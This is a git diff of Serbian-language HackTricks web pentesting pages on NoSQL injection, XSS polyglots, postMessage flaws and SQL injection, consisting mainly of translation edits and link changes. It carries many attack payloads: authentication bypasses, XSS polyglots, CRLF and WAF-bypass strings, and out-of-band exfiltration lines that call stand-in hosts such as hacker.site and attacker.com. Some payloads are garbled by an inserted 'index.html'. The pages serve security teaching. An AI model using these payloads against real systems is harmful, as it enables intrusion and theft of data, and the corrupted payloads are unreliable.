Moguće je koristiti [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) da se dobiju informacije iz različite kolekcije. U sledećem primeru, čitamo iz **različite kolekcije** pod nazivom **`users`** i dobijamo **rezultate svih unosa** sa lozinkom koja odgovara wildcard-u.
@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
@ -176,7 +176,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### Brute-force prijavljivanje korisničkih imena i lozinki iz POST prijave
### Brute-force prijava korisničkih imena i lozinki iz POST prijave
Ovo je jednostavan skript koji možete modifikovati, ali prethodni alati takođe mogu obaviti ovaj zadatak.
```python

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
Cilj ovih PoCs i Polyglotha je da testeru pruži brzi **pregled** ranjivosti koje može iskoristiti ako se njegov **ulaz na neki način odražava u odgovoru**.
Cilj ovih PoC-ova i poliglotova je da testeru pruži brzi **pregled** ranjivosti koje može iskoristiti ako se njegov **ulaz na neki način odražava u odgovoru**.
> [!WARNING]
> Ova **cheatsheet ne predlaže sveobuhvatan spisak testova za svaku ranjivost**, samo neke osnovne. Ako tražite sveobuhvatnije testove, pristupite svakoj predloženoj ranjivosti.
> [!CAUTION]
> Nećete pronaći injekcije zavisne od Content-Type kao što je XXE, jer ćete obično to pokušati sami ako pronađete zahtev koji šalje xml podatke. Takođe, ovde nećete pronaći injekcije u bazu podataka, jer čak i ako se neki sadržaj može odraziti, to u velikoj meri zavisi od tehnologije i strukture backend DB-a.
> Nećete pronaći injekcije zavisne od Content-Type-a kao što je XXE, jer ćete obično to pokušati sami ako pronađete zahtev koji šalje xml podatke. Takođe, ovde nećete pronaći injekcije u bazu podataka, jer čak i ako se neki sadržaj može odraziti, to u velikoj meri zavisi od tehnologije i strukture backend baze podataka.
## Polygloths list
```python
@ -46,7 +46,7 @@ javascript:alert(1)
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
@ -88,13 +88,13 @@ $(ls)
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
## Opušteni Markup
## Dangling Markup
### Osnovni Testovi
### Osnovni testovi
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [Uključivanje fajlova/Prelazak putanje](../file-inclusion/)
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
### Osnovni testovi
```bash
@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
### Osnovni testovi
```bash
@ -140,13 +140,13 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
Isti testovi koji se koriste za Open Redirect mogu se koristiti ovde.
Isti testovi koji se koriste za Open Redirect mogu se koristiti i ovde.
## [Server Side Template Injection](../ssti-server-side-template-injection/)
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
### Osnovni testovi
### Osnovni Testovi
```markup
${{<%[%'"}}%\
{{7*7}}
@ -183,7 +183,7 @@ javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*

View File

@ -36,7 +36,7 @@ javascript:alert(1)
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```

View File

@ -102,7 +102,7 @@ Da biste **pronašli slušaoce događaja** na trenutnoj stranici, možete:
```
- **`match()`** funkcija, slična `search()`, obrađuje regex. Ako je regex nepravilno strukturiran, može biti podložan zaobilaženju.
- **`escapeHtml`** funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ona ne stvara novi bežani objekat, već prepisuje svojstva postojećeg objekta. Ovo ponašanje se može iskoristiti. Konkretno, ako se objekat može manipulisati tako da njegovo kontrolisano svojstvo ne prepoznaje `hasOwnProperty`, `escapeHtml` neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod:
- **`escapeHtml`** funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ona ne kreira novi bežani objekat, već prepisuje svojstva postojećeg objekta. Ovo ponašanje se može iskoristiti. Konkretno, ako se objekat može manipulisati tako da njegovo kontrolisano svojstvo ne prepoznaje `hasOwnProperty`, `escapeHtml` neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod:
- Očekivani neuspeh:
@ -128,7 +128,7 @@ U kontekstu ove ranjivosti, `File` objekat je posebno podložan eksploataciji zb
Kada se ugrađuje web stranica unutar **sandboxed iframe** koristeći %%%%%%, važno je razumeti da će poreklo iframe-a biti postavljeno na null. Ovo je posebno važno kada se radi o **sandbox atributima** i njihovim implikacijama na bezbednost i funkcionalnost.
Specifikovanjem **`allow-popups`** u sandbox atributu, svaki prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da, osim ako **`allow-popups-to-escape-sandbox`** atribut takođe nije uključen, poreklo prozora za iskačuće prozore je takođe postavljeno na `null`, usklađujući se sa poreklom iframe-a.
Specifikovanjem **`allow-popups`** u sandbox atributu, svaki prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da, osim ako **`allow-popups-to-escape-sandbox`** atribut nije takođe uključen, poreklo prozora za iskačuće prozore je takođe postavljeno na `null`, usklađujući se sa poreklom iframe-a.
Kao rezultat, kada se iskačući prozor otvori pod ovim uslovima i poruka se pošalje iz iframe-a u iskačući prozor koristeći **`postMessage`**, i pošiljalac i primalac imaju svoja porekla postavljena na `null`. Ova situacija dovodi do scenarija gde **`e.origin == window.origin`** se evaluira kao tačno (`null == null`), jer i iframe i iskačući prozor dele istu vrednost porekla `null`.
@ -147,7 +147,7 @@ if (received_message.source !== window) {
return
}
```
Možete prisiliti **`e.source`** poruke da bude null kreiranjem **iframe** koji **šalje** **postMessage** i koji je **odmah obrisan**.
Možete primorati **`e.source`** poruke da bude null tako što ćete kreirati **iframe** koji **šalje** **postMessage** i koji je **odmah obrisan**.
Za više informacija **pročitajte:**
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
### Krađa poruke modifikovanjem lokacije iframe-a
Ako možete iframe-ovati veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete **promeniti lokaciju tog child iframe-a**, tako da ako prima **postmessage** poslatu koristeći **wildcard**, napadač može **promeniti** tu iframe **izvor** na stranicu **koju kontroliše** i **ukrasti** poruku:
Ako možete iframe-ovati veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete **promeniti lokaciju tog child iframe-a**, tako da ako prima **postmessage** poslatu koristeći **wildcard**, napadač može **promeniti** tu iframe **origin** na stranicu **pod njegovom kontrolom** i **ukrasti** poruku:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
@ -214,8 +214,8 @@ setTimeout(get_code, 2000)
```
Za **više informacija**:
- Link ka stranici o [**zagađenju prototipa**](../deserialization/nodejs-proto-prototype-pollution/)
- Link ka stranici o [**XSS**](../xss-cross-site-scripting/)
- Link ka stranici o [**zagađenju prototipa**](../deserialization/nodejs-proto-prototype-pollution/index.html)
- Link ka stranici o [**XSS**](../xss-cross-site-scripting/index.html)
- Link ka stranici o [**zagađenju prototipa sa klijentske strane do XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
## Reference

View File

@ -21,9 +21,9 @@ Kada se čini da je sajt **ranjiv na SQL injekciju (SQLi)** zbog neobičnih odgo
"))
`))
```
Zatim, treba da znate kako da **popravite upit kako ne bi bilo grešaka**. Da biste popravili upit, možete **uneti** podatke tako da **prethodni upit prihvati nove podatke**, ili možete jednostavno **uneti** svoje podatke i **dodati simbol komentara na kraju**.
Zatim, treba da znate kako da **popravite upit tako da ne bude grešaka**. Da biste popravili upit, možete **uneti** podatke tako da **prethodni upit prihvati nove podatke**, ili možete jednostavno **uneti** svoje podatke i **dodati simbol komentara na kraju**.
_Napomena: ako možete da vidite poruke o greškama ili primetite razlike kada upit radi i kada ne radi, ova faza će biti lakša._
_Napomena: ako možete da vidite poruke o grešci ili primetite razlike kada upit radi i kada ne radi, ova faza će biti lakša._
### **Komentari**
```sql
@ -70,8 +70,8 @@ Ova lista reči je kreirana da pokuša da **potvrdi SQL injekcije** na predlože
### Potvrđivanje sa vremenom
U nekim slučajevima **nećete primetiti nikakvu promenu** na stranici koju testirate. Stoga, dobar način da **otkrijete slepe SQL injekcije** je da naterate DB da izvrši akcije koje će imati **uticaj na vreme** koje je potrebno stranici da se učita.\
Zato ćemo u SQL upit dodati operaciju koja će trajati dugo da se završi:
U nekim slučajevima **nećete primetiti nikakvu promenu** na stranici koju testirate. Stoga, dobar način da **otkrijete slepe SQL injekcije** je da naterate DB da izvrši radnje koje će imati **uticaj na vreme** koje je potrebno stranici da se učita.\
Stoga, u SQL upit ćemo dodati operaciju koja će potrajati dugo da se završi:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -97,7 +97,7 @@ U nekim slučajevima **funkcije spavanja neće biti dozvoljene**. Tada, umesto k
### Identifikacija Back-end-a
Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija različitih back-end-ova. Možete koristiti _**sleep**_ **funkcije** iz prethodne sekcije ili ove (tabela iz [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija različitih back-end-ova. Možete koristiti _**sleep**_ **funkcije** iz prethodnog odeljka ili ove (tabela iz [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -128,7 +128,7 @@ Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija raz
Takođe, ako imate pristup izlazu upita, mogli biste da **prikazujete verziju baze podataka**.
> [!NOTE]
> U nastavku ćemo razgovarati o različitim metodama za iskorišćavanje različitih vrsta SQL injekcija. Koristićemo MySQL kao primer.
> U nastavku ćemo raspraviti različite metode za iskorišćavanje različitih vrsta SQL Injection. Koristićemo MySQL kao primer.
### Identifikacija sa PortSwigger
@ -141,12 +141,12 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
### Otkrivanje broja kolona
Ako možete da vidite izlaz upita, ovo je najbolji način da ga iskoristite.\
Prvo, treba da saznamo **broj** **kolona** koje **početni zahtev** vraća. To je zato što **oba upita moraju vraćati isti broj kolona**.\
Prvo, potrebno je da saznamo **broj** **kolona** koje **početni zahtev** vraća. To je zato što **oba upita moraju vraćati isti broj kolona**.\
Dve metode se obično koriste u tu svrhu:
#### Order/Group by
Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok ne dobijete lažan odgovor. I pored različitih funkcionalnosti **GROUP BY** i **ORDER BY** unutar SQL-a, oboje se može koristiti identično za utvrđivanje broja kolona u upitu.
Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok ne dobijete lažan odgovor. Iako imaju različite funkcionalnosti, **GROUP BY** i **ORDER BY** se u SQL-u mogu koristiti identično za utvrđivanje broja kolona u upitu.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -170,7 +170,7 @@ Izaberite sve više i više null vrednosti dok upit ne bude tačan:
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_Trebalo bi da koristite `null` vrednosti jer u nekim slučajevima tipovi kolona sa obe strane upita moraju biti isti i null je validan u svakom slučaju._
_Trebalo bi da koristite `null` vrednosti jer u nekim slučajevima tip kolona sa obe strane upita mora biti isti i null je validan u svakom slučaju._
### Izvlačenje imena baza podataka, imena tabela i imena kolona
@ -187,19 +187,19 @@ U sledećim primerima ćemo preuzeti ime svih baza podataka, ime tabele u bazi p
```
_Postoji različit način da se otkrije ovi podaci na svakoj različitoj bazi podataka, ali metodologija je uvek ista._
## Eksploatacija skrivenih unija
## Exploiting Hidden Union Based
Kada je izlaz upita vidljiv, ali se čini da unija zasnovana injekcija nije moguća, to označava prisustvo **skrivene unije zasnovane injekcije**. Ova situacija često dovodi do slepe injekcije. Da bi se slepa injekcija pretvorila u uniju zasnovanu, potrebno je razjasniti izvršni upit na backend-u.
Kada je izlaz upita vidljiv, ali se čini da je injekcija zasnovana na uniji neostvariva, to označava prisustvo **skrivene injekcije zasnovane na uniji**. Ova situacija često dovodi do slepe injekcije. Da bi se slepa injekcija pretvorila u onu zasnovanu na uniji, potrebno je razjasniti izvršni upit na backendu.
To se može postići korišćenjem tehnika slepe injekcije zajedno sa podrazumevanim tabelama specifičnim za vaš ciljani sistem za upravljanje bazama podataka (DBMS). Za razumevanje ovih podrazumevanih tabela, savetuje se konsultacija sa dokumentacijom ciljanog DBMS-a.
To se može postići korišćenjem tehnika slepe injekcije zajedno sa podrazumevanim tabelama specifičnim za vaš ciljani Sistem za upravljanje bazama podataka (DBMS). Za razumevanje ovih podrazumevanih tabela, savetuje se konsultacija sa dokumentacijom ciljanog DBMS-a.
Kada je upit izvučen, potrebno je prilagoditi vaš payload kako bi se sigurno zatvorio originalni upit. Nakon toga, unija upit se dodaje vašem payload-u, olakšavajući eksploataciju novonastale unije zasnovane injekcije.
Kada je upit izvučen, potrebno je prilagoditi vaš payload kako bi se sigurno zatvorio originalni upit. Nakon toga, upit zasnovan na uniji se dodaje vašem payload-u, olakšavajući eksploataciju novonastale injekcije zasnovane na uniji.
Za sveobuhvatnije uvide, pogledajte ceo članak dostupan na [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Eksploatacija zasnovana na grešci
## Exploiting Error based
Ako iz nekog razloga **ne možete** videti **izlaz** **upita** ali možete **videti poruke o grešci**, možete iskoristiti te poruke o grešci da **izvucite** podatke iz baze podataka.\
Ako iz nekog razloga **ne možete** videti **izlaz** **upita**, ali možete **videti poruke o grešci**, možete iskoristiti ove poruke o grešci da **izvucite** podatke iz baze podataka.\
Prateći sličan tok kao u eksploataciji zasnovanoj na uniji, mogli biste uspeti da dump-ujete DB.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
@ -231,7 +231,7 @@ Možete koristiti stacked queries da **izvršite više upita uzastopno**. Imajte
## Out of band Exploitation
Ako **nijedna** druga metoda eksploatacije **nije uspela**, možete pokušati da **baza podataka ex-filtrira** informacije na **spoljni host** koji kontrolišete. Na primer, putem DNS upita:
Ako **nijedna** druga metoda eksploatacije **nije uspela**, možete pokušati da naterate **bazu podataka da ex-filtrira** informacije na **spoljni host** koji kontrolišete. Na primer, putem DNS upita:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
@ -241,7 +241,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
```
## Automatizovana Eksploatacija
Proverite [SQLMap Cheatsheet](sqlmap/) da biste iskoristili SQLi ranjivost sa [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
Proverite [SQLMap Cheatsheet](sqlmap/index.html) da biste iskoristili SQLi ranjivost sa [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## Tehničke specifične informacije
@ -249,9 +249,9 @@ Već smo razgovarali o svim načinima za eksploataciju SQL Injection ranjivosti.
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
- [MySQL](mysql-injection/)
- [MySQL](mysql-injection/index.html)
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/)
- [PostgreSQL](postgresql-injection/index.html)
Ili ćete pronaći **puno trikova vezanih za: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL u** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
@ -267,7 +267,7 @@ Lista za pokušaj zaobilaženja funkcionalnosti prijavljivanja:
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Ova upit prikazuje ranjivost kada se MD5 koristi sa true za sirovi izlaz u proverama autentifikacije, čineći sistem podložnim SQL injekcijama. Napadači mogu iskoristiti ovo kreiranjem ulaza koji, kada se hashiraju, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.
Ova upit prikazuje ranjivost kada se MD5 koristi sa true za sirovi izlaz u proverama autentifikacije, čineći sistem podložnim SQL injekciji. Napadači mogu iskoristiti ovo kreiranjem ulaza koji, kada se hash-iraju, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -283,9 +283,9 @@ Trebalo bi da koristite kao korisničko ime svaku liniju sa liste, a kao lozinku
{% file src="../../images/sqli-hashbypass.txt" %}
### GBK autentifikacija zaobilaženje
### GBK autentifikacija zaobiđeno
AKO je ' escapovan, možete koristiti %A8%27, a kada ' bude escapovan, biće kreirano: 0xA80x5c0x27 (_╘'_)
AKO je ' escapovan, možete koristiti %A8%27, a kada se ' escapuje, biće kreirano: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -306,19 +306,19 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert Statement
### Modify password of existing object/user
### Izmena lozinke postojećeg objekta/korisnika
Da biste to uradili, trebate pokušati da **kreirate novi objekat nazvan kao "master object"** (verovatno **admin** u slučaju korisnika) modifikujući nešto:
Da biste to uradili, trebate pokušati da **kreirate novi objekat nazvan kao "master objekat"** (verovatno **admin** u slučaju korisnika) modifikujući nešto:
- Kreirajte korisnika nazvanog: **AdMIn** (velika i mala slova)
- Kreirajte korisnika nazvanog: **admin=**
- **SQL Truncation Attack** (kada postoji neka vrsta **ograničenja dužine** u korisničkom imenu ili emailu) --> Kreirajte korisnika sa imenom: **admin \[a lot of spaces] a**
- **SQL Truncation Attack** (kada postoji neka vrsta **ograničenja dužine** u korisničkom imenu ili emailu) --> Kreirajte korisnika sa imenom: **admin \[puno razmaka] a**
#### SQL Truncation Attack
Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je, na primer, 30 i želite da se pretvarate da ste korisnik **admin**, pokušajte da kreirate korisničko ime pod nazivom: "_admin \[30 spaces] a_" i bilo koju lozinku.
Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je, na primer, 30, a želite da se pretvarate da ste korisnik **admin**, pokušajte da kreirate korisničko ime pod nazivom: "_admin \[30 razmaka] a_" i bilo koju lozinku.
Baza podataka će **proveriti** da li uneto **korisničko ime** **postoji** unutar baze podataka. Ako **ne**, **izrezaće** **korisničko ime** na **maksimalan dozvoljeni broj karaktera** (u ovom slučaju na: "_admin \[25 spaces]_") i automatski će **ukloniti sve razmake na kraju ažurirajući** unutar baze podataka korisnika "**admin**" sa **novom lozinkom** (može se pojaviti neka greška, ali to ne znači da ovo nije uspelo).
Baza podataka će **proveriti** da li uneto **korisničko ime** **postoji** unutar baze podataka. Ako **ne**, **izrezaće** **korisničko ime** na **maksimalan dozvoljeni broj karaktera** (u ovom slučaju na: "_admin \[25 razmaka]_") i automatski će **ukloniti sve razmake na kraju ažurirajući** unutar baze podataka korisnika "**admin**" sa **novom lozinkom** (može se pojaviti neka greška, ali to ne znači da ovo nije uspelo).
Više informacija: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
@ -332,11 +332,11 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
Klauzula `ON DUPLICATE KEY UPDATE` u MySQL-u se koristi za određivanje akcija koje baza podataka treba da preduzme kada se pokuša umetanje reda koji bi rezultirao duplom vrednošću u UNIQUE indeksu ili PRIMARY KEY-u. Sledeći primer pokazuje kako se ova funkcija može iskoristiti za modifikaciju lozinke administratorskog naloga:
Klauzula `ON DUPLICATE KEY UPDATE` u MySQL-u se koristi za određivanje akcija koje baza podataka treba da preduzme kada se pokuša umetanje reda koji bi rezultirao duplom vrednošću u UNIQUE indeksu ili PRIMARY KEY-u. Sledeći primer prikazuje kako se ova funkcija može iskoristiti za modifikaciju lozinke administratorskog naloga:
Primer Payload Injekcije:
Example Payload Injection:
Payload za injekciju može biti kreiran na sledeći način, gde se pokušava umetanje dva reda u tabelu `users`. Prvi red je mamac, a drugi red cilja postojeću email adresu administratora sa namerom da se ažurira lozinka:
Injekcioni payload može biti kreiran na sledeći način, gde se pokušava umetanje dva reda u tabelu `users`. Prvi red je mamac, a drugi red cilja postojeću email adresu administratora sa namerom da ažurira lozinku:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
@ -359,9 +359,9 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
```
#### Korišćenje decimalnog ili heksadecimalnog
Sa ovom tehnikom možete izvući informacije kreirajući samo 1 nalog. Važno je napomenuti da ne morate ništa komentarisati.
Sa ovom tehnikom možete izvući informacije kreirajući samo 1 nalog. Važno je napomenuti da ne morate komentarisati ništa.
Korišćenjem **hex2dec** i **substr**:
Korišćenje **hex2dec** i **substr**:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
@ -389,11 +389,11 @@ Example:
```
## WAF Bypass
[Početni bypass-ovi odavde](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### No spaces bypass
No Space (%20) - bypass koristeći alternative za razmake
No Space (%20) - zaobilaženje korišćenjem alternativa za razmake
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -434,7 +434,7 @@ OR -> || -> %7C%7C
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### Scientific Notation WAF bypass
### Bypass WAF pomoću naučne notacije
Možete pronaći detaljnije objašnjenje ove trik u [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
U suštini, možete koristiti naučnu notaciju na neočekivane načine kako biste zaobišli WAF:

View File

@ -10,13 +10,13 @@ U svakom Web Pentestu, postoji **several hidden and obvious places that might be
> Danas **web** **aplikacije** obično **koriste** neku vrstu **posredničkih** **proksija**, koje se mogu (zlo)upotrebljavati za eksploataciju ranjivosti. Ove ranjivosti zahtevaju da postoji ranjivi proksi, ali obično takođe zahtevaju neku dodatnu ranjivost u pozadini.
- [ ] [**Zloupotreba hop-by-hop zaglavlja**](abusing-hop-by-hop-headers.md)
- [ ] [**Trovanje kešom/Obmanjivanje keša**](cache-deception/)
- [ ] [**Trovanje kešom/Obmanjivanje keša**](cache-deception/index.html)
- [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
- [ ] [**H2C Smuggling**](h2c-smuggling.md)
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Uključivanje sa servera/Uključivanje sa ivice**](server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Otkrivanje Cloudflare-a**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
- [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**Obilaženje Proxy / WAF zaštita**](proxy-waf-protections-bypass.md)
- [ ] [**XSLT Uključivanje sa servera**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**Obilaženje zaštita proksija/WAF-a**](proxy-waf-protections-bypass.md)
